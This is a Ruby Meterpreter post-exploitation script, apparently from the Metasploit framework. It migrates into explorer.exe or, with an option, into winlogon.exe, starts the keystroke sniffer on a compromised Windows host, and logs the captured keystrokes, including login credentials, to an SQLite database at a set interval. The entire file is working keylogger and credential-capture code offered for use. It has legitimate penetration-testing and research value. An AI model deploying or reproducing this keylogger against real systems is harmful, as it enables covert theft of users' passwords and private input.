# $Id$ require 'sqlite3' # # Meterpreter script for monitoring and capturing Keystrokes and # saving them in to a sqlite db. # Provided by Carlos Perez at carlos_perez[at]darkoperator.com session = client # Script Options @@exec_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help menu." ], "-t" => [ true, "Time interval in seconds between recollection of keystrokes, default 30 seconds." ], "-c" => [ true, "Type of key capture. (0) for user key presses or (1) for winlogon credential capture Default is 0." ] ) def usage print_line("Keylogger Recorder Meterpreter Script") print_line("This script will start the Meterpreter Keylogger and save all keys") print_line("in a sqlite3 db for later anlysis. To stop capture hit Ctrl-C") print_line("Usage:" + @@exec_opts.usage) raise Rex::Script::Completed end #Get Hostname host,port = session.tunnel_peer.split(':') # Create Filename info to be appended to downloaded files filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") # Create a directory for the logs logs = ::File.join(Msf::Config.config_directory, 'logs', 'keylogrecorder', host + filenameinfo ) # Create the log directory ::FileUtils.mkdir_p(logs) #logfile name logfile = logs + ::File::Separator + host + filenameinfo + ".db" #Interval for collecting Keystrokes in seconds keytime = 30 #Type of capture captype = 0 #Function to Migrate in to Explorer process to be able to interact with desktop def explrmigrate(session,captype) begin if captype.to_i == 0 process2mig = "explorer.exe" elsif captype.to_i == 1 process2mig = "winlogon.exe" else process2mig = "explorer.exe" end # Actual migration mypid = session.sys.process.getpid session.sys.process.get_processes().each do |x| if (process2mig.index(x['name'].downcase) and x['pid'] != mypid) print_status("\t#{process2mig} Process found, migrating into #{x['pid']}") session.core.migrate(x['pid'].to_i) print_status("Migration Successful!!") end end return true rescue print_status("Failed to migrate process!") return false end end #Function for starting the keylogger def startkeylogger(session) begin #print_status("Grabbing Desktop Keyboard Input...") #session.ui.grab_desktop print_status("Starting the keystroke sniffer...") session.ui.keyscan_start return true rescue print_status("Failed to start Keylogging!") return false end end #Funtion for Collecting Capture def keycap(session, keytime, logfile) begin rec = 1 #Creating DB for captured keystrokes db = SQLite3::Database.new( logfile ) print_status("Keystrokes being saved in to #{logfile}") #Creating table for captured keystrokes db.execute("create table keystrokes (tkey INTEGER PRIMARY KEY,data TEXT,timeEnter DATE)") #Inserting keystrokes every number of seconds specified print("[*] Recording .") while rec == 1 #getting Keystrokes data = session.ui.keyscan_dump outp = "" data.unpack("n*").each do |inp| fl = (inp & 0xff00) >> 8 vk = (inp & 0xff) kc = VirtualKeyCodes[vk] f_shift = fl & (1<<1) f_ctrl = fl & (1<<2) f_alt = fl & (1<<3) if(kc) name = ((f_shift != 0 and kc.length > 1) ? kc[1] : kc[0]) case name when /^.$/ outp << name when /shift|click/i when 'Space' outp << " " else outp << " <#{name}> " end else outp << " <0x%.2x> " % vk end end sleep(2) db.execute( "insert into keystrokes (data,timeEnter) values (?,?)", outp,::Time.now.strftime("%Y%m%d.%M%S")) print(".") sleep(keytime.to_i) end db.close rescue::Exception => e print("\n") print_status("#{e.class} #{e}") db.close print_status("Stopping keystroke sniffer...") session.ui.keyscan_stop end end # Parsing of Options helpcall = 0 @@exec_opts.parse(args) { |opt, idx, val| case opt when "-t" keytime = val when "-c" captype = val when "-h" usage end } if explrmigrate(session,captype) if startkeylogger(session) keycap(session, keytime, logfile) end end